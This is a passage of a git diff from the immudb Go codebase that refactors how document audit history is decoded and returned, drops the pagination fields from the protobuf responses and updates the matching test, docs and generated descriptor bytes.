txID uint64) (collectionID uint32, docAudit *Audit, err error) { - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return 0, nil, err - } - defer sqlTx.Cancel() - - table, err := sqlTx.Catalog().GetTableByName(collectionName) - if err != nil { - return 0, nil, err - } - - searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) - if err != nil { - return 0, nil, err - } - - docAudit, err = e.getValueAt(searchKey, txID, false, 0) - if err != nil { - return 0, nil, err - } - - return table.ID(), docAudit, nil -} - func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, pageNum int, itemsPerPage int) ([]*structpb.Struct, error) { exp, err := e.generateExp(ctx, collectionName, queries) if err != nil { @@ -515,8 +495,33 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return results, nil } +func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *EncodedDocAudit, err error) { + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return 0, nil, err + } + defer sqlTx.Cancel() + + table, err := sqlTx.Catalog().GetTableByName(collectionName) + if err != nil { + return 0, nil, err + } + + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) + if err != nil { + return 0, nil, err + } + + docAudit, err = e.getEncodedDocumentAudit(searchKey, txID, false) + if err != nil { + return 0, nil, err + } + + return table.ID(), docAudit, nil +} + // DocumentAudit returns the audit history of a document. -func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { +func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*DocAudit, error) { offset := (pageNum - 1) * itemsPerPage limit := itemsPerPage if offset < 0 || limit < 1 { @@ -539,47 +544,17 @@ func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return nil, err } - table, err := tx.Catalog().GetTableByName(collectionName) - if err != nil { - return nil, err - } + results := make([]*DocAudit, 0) - results := make([]*Audit, 0) for i, txID := range txs { - res, err := e.getValueAt(searchKey, txID, false, uint64(i)+1) + audit, err := e.getDocumentAudit(searchKey, txID, false) if err != nil { return nil, err } - v := res.Value - voff := 0 - - cols := int(binary.BigEndian.Uint32(v[voff:])) - voff += sql.EncLenLen - - for i := 0; i < cols; i++ { - colID := binary.BigEndian.Uint32(v[voff:]) - voff += sql.EncIDLen - - col, err := table.GetColumnByID(colID) - if err != nil { - return nil, err - } + audit.Revision = uint64(i) + 1 - val, n, err := sql.DecodeValue(v[voff:], sql.BLOBType) - if err != nil { - return nil, err - } - - if col.Name() == DocumentBLOBField { - res.Value = val.RawValue().([]byte) - break - } - - voff += n - } - - results = append(results, res) + results = append(results, audit) } return results, nil @@ -676,14 +651,54 @@ func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectio return searchKey, nil } -func (e *Engine) getValueAt( +func (e *Engine) getDocumentAudit( + key []byte, + atTx uint64, + skipIntegrityCheck bool, +) (docAudit *DocAudit, err error) { + encodedDocAudit, err := e.getEncodedDocumentAudit(key, atTx, skipIntegrityCheck) + if err != nil { + return nil, err + } + + voff := sql.EncLenLen + sql.EncIDLen + + _, n, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, err + } + + voff += n + sql.EncIDLen + + encodedDoc, _, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) + if err != nil { + return nil, err + } + + docBytes := encodedDoc.RawValue().([]byte) + + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return nil, err + } + + return &DocAudit{ + TxID: encodedDocAudit.TxID, + Revision: encodedDocAudit.Revision, + Document: doc, + }, err +} + +func (e *Engine) getEncodedDocumentAudit( key []byte, atTx uint64, skipIntegrityCheck bool, - revision uint64, -) (entry *Audit, err error) { +) (docAudit *EncodedDocAudit, err error) { + var txID uint64 - var val []byte + var encodedDoc []byte + var revision uint64 index := e.sqlEngine.GetStore() if atTx == 0 { @@ -694,7 +709,7 @@ func (e *Engine) getValueAt( txID = valRef.Tx() - val, err = valRef.Resolve() + encodedDoc, err = valRef.Resolve() if err != nil { return nil, err } @@ -703,16 +718,16 @@ func (e *Engine) getValueAt( revision = valRef.HC() } else { txID = atTx - _, val, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) + _, encodedDoc, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } } - return &Audit{ - TxID: txID, - Value: val, - Revision: revision, + return &EncodedDocAudit{ + TxID: txID, + Revision: revision, + EncodedDocument: encodedDoc, }, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 8d57019dc9..462df11fd4 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -272,12 +272,11 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) require.Equal(t, 2, len(res)) - for i, record := range res { - // verify audit result - val := string(record.Value) - require.Contains(t, val, "pincode") - require.Contains(t, val, "country") - require.Equal(t, uint64(i+1), record.Revision) + for i, docAudit := range res { + require.Contains(t, docAudit.Document.Fields, DocumentIDField) + require.Contains(t, docAudit.Document.Fields, "pincode") + require.Contains(t, docAudit.Document.Fields, "country") + require.Equal(t, uint64(i+1), docAudit.Revision) } } diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 03e85a6f60..f1d24ea1de 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -264,9 +264,9 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | -| value | [google.protobuf.Struct](#google.protobuf.Struct) | | | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -300,8 +300,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | results | [DocumentAudit](#immudb.documentschema.DocumentAudit) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | @@ -420,8 +418,6 @@ | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | -| page | [uint32](#uint32) | | | -| perPage | [uint32](#uint32) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 3ee25ed379..09a96aa382 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -618,8 +618,6 @@ type DocumentSearchResponse struct { unknownFields protoimpl.UnknownFields Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -661,20 +659,6 @@ func (x *DocumentSearchResponse) GetResults() []*_struct.Struct { return nil } -func (x *DocumentSearchResponse) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentSearchResponse) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - type DocumentProofRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -894,8 +878,6 @@ type DocumentAuditResponse struct { unknownFields protoimpl.UnknownFields Results []*DocumentAudit `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentAuditResponse) Reset() { @@ -937,28 +919,14 @@ func (x *DocumentAuditResponse) GetResults() []*DocumentAudit { return nil } -func (x *DocumentAuditResponse) GetPage() uint32 { - if x != nil { - return x.Page - } - return 0 -} - -func (x *DocumentAuditResponse) GetPerPage() uint32 { - if x != nil { - return x.PerPage - } - return 0 -} - type DocumentAudit struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Value *_struct.Struct `protobuf:"bytes,1,opt,name=value,proto3" json:"value,omitempty"` - TransactionId uint64 `protobuf:"varint,2,opt,name=transactionId,proto3" json:"transactionId,omitempty"` - Revision uint64 `protobuf:"varint,3,opt,name=revision,proto3" json:"revision,omitempty"` + TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" json:"transactionId,omitempty"` + Revision uint64 `protobuf:"varint,2,opt,name=revision,proto3" json:"revision,omitempty"` + Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentAudit) Reset() { @@ -993,13 +961,6 @@ func (*DocumentAudit) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{12} } -func (x *DocumentAudit) GetValue() *_struct.Struct { - if x != nil { - return x.Value - } - return nil -} - func (x *DocumentAudit) GetTransactionId() uint64 { if x != nil { return x.TransactionId @@ -1014,6 +975,13 @@ func (x *DocumentAudit) GetRevision() uint64 { return 0 } +func (x *DocumentAudit) GetDocument() *_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + type IndexOption struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1670,274 +1638,268 @@ var file_documentschema_proto_rawDesc = []byte{ 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x79, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, + 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x4b, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, - 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, - 0x61, 0x67, 0x65, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, - 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, + 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, + 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, + 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x12, 0x24, + 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, 0x0a, 0x0f, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, 0x65, 0x72, - 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, - 0x22, 0x85, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, - 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, 0x65, - 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, - 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, - 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x80, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, - 0x63, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, - 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, - 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x5f, 0x0a, 0x0b, 0x49, - 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, - 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, + 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, + 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x28, + 0x0a, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x56, 0x32, 0x52, 0x0c, 0x76, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x84, 0x01, 0x0a, 0x14, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x49, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, + 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, + 0x67, 0x65, 0x22, 0x57, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3e, 0x0a, 0x07, 0x72, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x52, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x22, 0x86, 0x01, 0x0a, 0x0d, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x12, 0x24, 0x0a, + 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x72, 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x12, + 0x33, 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x22, 0x5f, 0x0a, 0x0b, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4f, 0x70, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x54, + 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, + 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x69, 0x73, 0x55, + 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0xec, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 